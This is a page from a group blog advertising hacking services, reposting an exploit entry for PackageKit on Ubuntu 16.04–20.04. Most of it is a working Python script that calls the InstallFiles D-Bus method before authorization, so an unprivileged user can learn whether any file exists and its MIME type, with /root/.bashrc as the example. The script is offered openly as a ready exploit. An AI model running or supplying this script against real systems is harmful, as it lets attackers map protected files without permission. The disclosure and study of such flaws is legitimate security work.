Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863103563

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: File Existence Disclosure in PackageKit < 1.1.13-2ubuntu1
# Date: 2020-10-27
# Exploit Author: Vaisha Bernard (vbernard - at - eyecontrol.nl)
# Vendor Homepage: https://www.freedesktop.org/software/PackageKit/
# Software Link: https://www.freedesktop.org/software/PackageKit/
# Version: <= 1.1.1+bzr982-0ubuntu32.1
# Tested on: Ubuntu 20.04
#
#!/usr/bin/env python3
#
# Ubuntu 16.04 - 20.04 
# PackageKit <= 1.1.13-2ubuntu1
# Sensitive Information Disclosure
# 
#
# Reference: https://www.eyecontrol.nl/blog/the-story-of-3-cves-in-ubuntu-desktop.html
#
# The InstallFiles, GetFilesLocal and GetDetailsLocal methods 
# of the d-bus interface to PackageKit accesses given files 
# before checking for authorization. This allows non-privileged 
# users to learn the MIME type of any file on the system.
# 
# Example in attached Python script:
# 
# $ python3 test_file_exists_pk.py /root/.bashrc
# File exists and is of MIME type: 'text/plain'
# 
# $ python3 test_file_exists_pk.py /root/.bashrca
# File does not exist
#
#
import dbus
import os
import sys
import re

if len(sys.argv) != 2:
	print("Checks if file exists and returns MIME type")
	print("Usage: %s <file>")
	sys.exit(0)

FILE_TO_CHECK = sys.argv[1]

bus = dbus.SystemBus()
apt_dbus_object = bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit")
apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.freedesktop.PackageKit")  

trans = apt_dbus_interface.CreateTransaction()

apt_trans_dbus_object = bus.get_object("org.freedesktop.PackageKit", trans)
apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.freedesktop.PackageKit.Transaction")

try:
	apt_trans_dbus_interface.InstallFiles(0, [FILE_TO_CHECK])
	# ALSO apt_trans_dbus_interface.GetFilesLocal([FILE_TO_CHECK])
	# ALSO apt_trans_dbus_interface.GetDetailsLocal([FILE_TO_CHECK])
except dbus.exceptions.DBusException as e:
	if "No such file" in str(e):
		print("File does not exist")
	elif "MimeTypeNotSupported" in str(e):
		result = re.search('MIME type (.*) not supported', str(e))
		print("File exists and is of MIME type: " + result.group(1))